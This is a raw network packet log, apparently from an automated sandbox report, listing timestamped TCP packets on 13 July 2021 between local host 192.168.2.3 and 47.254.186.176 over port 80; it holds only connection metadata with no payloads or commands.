Jul 13, 2021 14:37:53.496449947 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.496455908 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.496473074 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.496489048 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.496491909 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.496504068 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.496524096 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.496524096 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.496541977 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.496556044 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.496567965 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.496579885 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.496608973 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.496613026 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.496625900 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.496634007 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.496640921 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.496659994 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.496731043 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.496743917 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.497087002 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.497179031 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.497195005 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.497210979 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.497226000 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.497241020 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.497246027 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.497256994 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.497272968 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.497287035 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.497291088 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.497306108 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.497308016 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.497328997 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.497368097 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.497472048 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.497489929 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.497505903 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.497522116 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.497541904 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.497550964 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.497560024 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.497575045 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.497576952 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.497594118 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.497606039 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.497622013 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.497654915 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.497672081 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.497682095 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.497718096 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.498070955 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.498132944 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.498157024 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.498174906 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.498224974 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.739686966 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.739754915 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.878179073 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.895905972 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.895926952 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.895942926 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.895958900 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.896001101 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.896015882 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.896025896 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.896032095 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.896068096 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.896112919 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.896217108 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.896234035 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.896249056 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.896264076 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.896274090 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.896306992 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.896332026 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.896347046 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.896363974 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.896378994 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.896398067 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.896404982 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.896430016 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.896501064 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.896528959 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.896543980 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.896580935 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.896600962 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.896620989 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.896636963 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.896676064 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.896728992 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.896745920 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.896797895 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.896836996 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.896851063 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.896869898 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.896982908 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.896997929 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.897013903 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.897042036 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.897052050 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.897067070 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.897090912 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.897145033 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.897161007 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.897176027 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.897192955 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.897226095 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.897257090 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.897270918 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.897387981 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.897434950 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.897461891 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.897478104 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.897485018 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.897495985 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.897514105 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.897521019 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.897541046 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.897577047 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.897635937 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.897643089 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.897653103 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.897669077 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.897687912 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.897703886 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.897737980 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.897891998 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.897917032 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.897954941 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.898019075 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.898036003 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.898051977 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.898083925 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.898091078 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.898175955 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.898246050 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.898288965 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.898401022 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.898452997 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.898475885 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.898493052 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.898516893 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.898535013 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.898539066 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.898576021 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.898618937 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.898650885 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.898665905 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.898682117 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.898688078 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.898726940 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.898729086 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.898746014 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.898775101 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.898804903 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.898842096 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.898878098 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.898895979 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.898932934 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.898941994 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.898957968 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.899058104 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.899096966 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.899295092 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.899331093 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.899358988 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.899374962 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.899403095 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.899405003 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.899450064 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.899456024 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.899466038 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.899482012 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.899487972 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.899497986 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.899518013 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.899540901 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.899580002 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.899622917 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.899638891 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.899656057 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.899671078 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.899678946 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.899689913 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.899708033 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.899712086 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.899749994 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.899817944 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.899856091 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.899872065 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.899908066 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.899950981 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.900007010 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.900023937 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.900057077 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.900058985 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.900104046 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.900213957 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.900230885 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.900245905 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.900258064 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.900280952 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.900326014 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.900341034 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.900372028 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.900377989 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.900480032 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.900619984 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.900635958 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.900656939 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.900775909 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.900791883 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.900816917 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.900857925 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.900876045 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.901058912 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.901498079 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.901550055 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.901561022 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.901604891 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.901643991 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.901660919 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.901715994 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.901731968 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.901747942 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.901763916 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.901778936 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.901786089 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.901798010 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.901814938 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.901827097 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.901845932 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.901890993 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.901968956 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.901983976 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.902002096 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.902021885 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.902053118 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.902059078 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.902071953 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.902089119 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.902103901 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.902115107 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.902120113 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.902136087 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.902154922 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.902184963 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.902225018 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.902240038 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.902257919 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.902277946 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.902297974 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.902313948 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.902379990 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.902417898 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.902498007 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.902517080 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.902544975 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.902560949 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.902580976 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.902594090 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.902601957 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.902662992 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.902718067 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.902750969 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.902766943 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.902782917 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.902789116 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.902797937 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.902813911 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.902828932 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.902832031 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.902849913 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.902898073 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.902980089 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.903007984 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.903019905 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.903053045 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.903088093 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.903182983 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.903198004 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.903215885 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.903237104 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.903270960 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.903337955 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.903357029 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.903373003 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.903388023 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.903403997 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.903410912 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.903419018 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.903434992 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.903441906 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.903462887 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.903466940 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.903497934 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.903513908 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.903543949 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.903619051 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.903657913 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.903661013 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.903729916 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.903779984 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.903817892 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.903842926 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.903858900 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.903875113 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.903898954 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.903939962 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.904001951 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.904056072 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.904095888 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.904102087 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.904138088 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.904179096 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.904197931 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.904215097 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.904231071 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.904234886 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.904247046 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.904258013 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.904278040 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.904298067 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.904314041 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.904350996 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.904445887 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.904462099 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.904479980 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.904496908 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.904510975 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.904521942 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.904537916 CEST	80	49757	47.254.186.176	192.168.2.3
